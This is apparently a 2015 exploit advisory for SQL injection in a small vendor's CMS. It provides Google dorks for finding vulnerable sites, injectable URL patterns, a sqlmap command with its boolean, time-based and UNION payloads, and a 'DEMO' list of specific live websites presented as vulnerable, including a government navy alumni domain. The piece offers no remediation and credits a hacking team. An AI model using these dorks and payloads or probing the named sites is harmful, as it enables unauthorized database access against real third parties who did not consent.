facebook facebook twitter rss

MEHTA WEBSOLUTION CMS - SQL Injection Vulnerability

Author: Shelesh Rauthan , Published: 14-07-2015
=========================================================
[+] Title :- MEHTA WEBSOLUTION CMS - SQL Injection Vulnerability
[+] Date :- 12 - July - 2015
[+] Vendor Homepage :- http://mehtawebsolution.com/
[+] Version :- All Versions
[+] Tested on :- Nginx/1.4.5, PHP/5.2.17, Linux - Windows
[+] Category :- webapps
[+] Google Dorks :- "Designed & Developed by Mehta Websolution"
"Designed & Developed by Mehta Websolution" +inurl:/.php?id=
"Developed by Mehta Websolution" inurl:"php?id="
"Developed by Mehta Websolution" inurl:"php?pid="
"Developed by Mehta Websolution" inurl:"php?cid="
[+] Exploit Author :- Shelesh Rauthan (ShOrTy420 aKa SEB@sTiaN)
[+] Team name :- Team Alastor Breeze, Intelligent-Exploit
[+] Official Website :- serverfarming.com, intelligentexploit.com
[+] The official Members :- Sh0rTy420, P@rL0u$, !nfIn!Ty, Th3G0v3Rn3R, m777k
[+] Greedz to :- @@lu, Lalit, MyLappy<3, Diksha, DK
[+] Contact :- fb.com/shelesh.rauthan, indian.1337.hacker@gmail.com, shortycharsobeas@gmail.com

=========================================================
[+] Severity Level :- High

[+] Request Method(s) :- GET / POST

[+] Vulnerable Parameter(s) :- id, cid, pid

[+] Affected Area(s) :- Entire admin, database, Server

[+] About :- Unauthenticated SQL Injection via Multiple Php Files causing an SQL error

[+] SQL vulnerable File :- /home/DOMAIN/public_html/products.php

[+] POC :- http://127.0.0.1/products.php?id=[SQL]'

The sql Injection web vulnerability can be be exploited by remote attackers without any privilege of web-application user account or user interaction.

http://www.[WEBSITE].com/products.php?id=9%27' order by [SQL IN4JECTION]--+
http://www.[WEBSITE].com/products.php?id=9%27'' union all select [SQL INJECTION]--+


SQLMap
++++++++++++++++++++++++++
python sqlmap.py --url "http://127.0.0.1/products.php?id=9[SQL]" --dbs
++++++++++++++++++++++++++
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=9 AND 8311=8311

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=9 AND (SELECT * FROM (SELECT(SLEEP(5)))NHiN)

Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: id=9 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7170627171,0x436a4c434d785a574c6f,0x71706a6b71)--
---


[+] DEMO :- http://bandhanifashions.com/index.php?route=product/category&path=5%27
http://www.sunbrassindustries.com/products.php?id=9%27
http://www.vivekproducts.com/products.php?id=7%27
http://www.hindustanmicroproducts.com/products.php?id=2%27
http://www.mustafadubai.com/products.php?id=18%27
http://www.rupeshmetal.com/products.php?id=3%27
http://mstrading.me/products.php?pid=17%27
http://designidea.marriagecards.in/products.php?cid=35%27
http://alumni.indiannavy.gov.in/valsura/events.php?id=3
=======================================================

Like us on Facebook :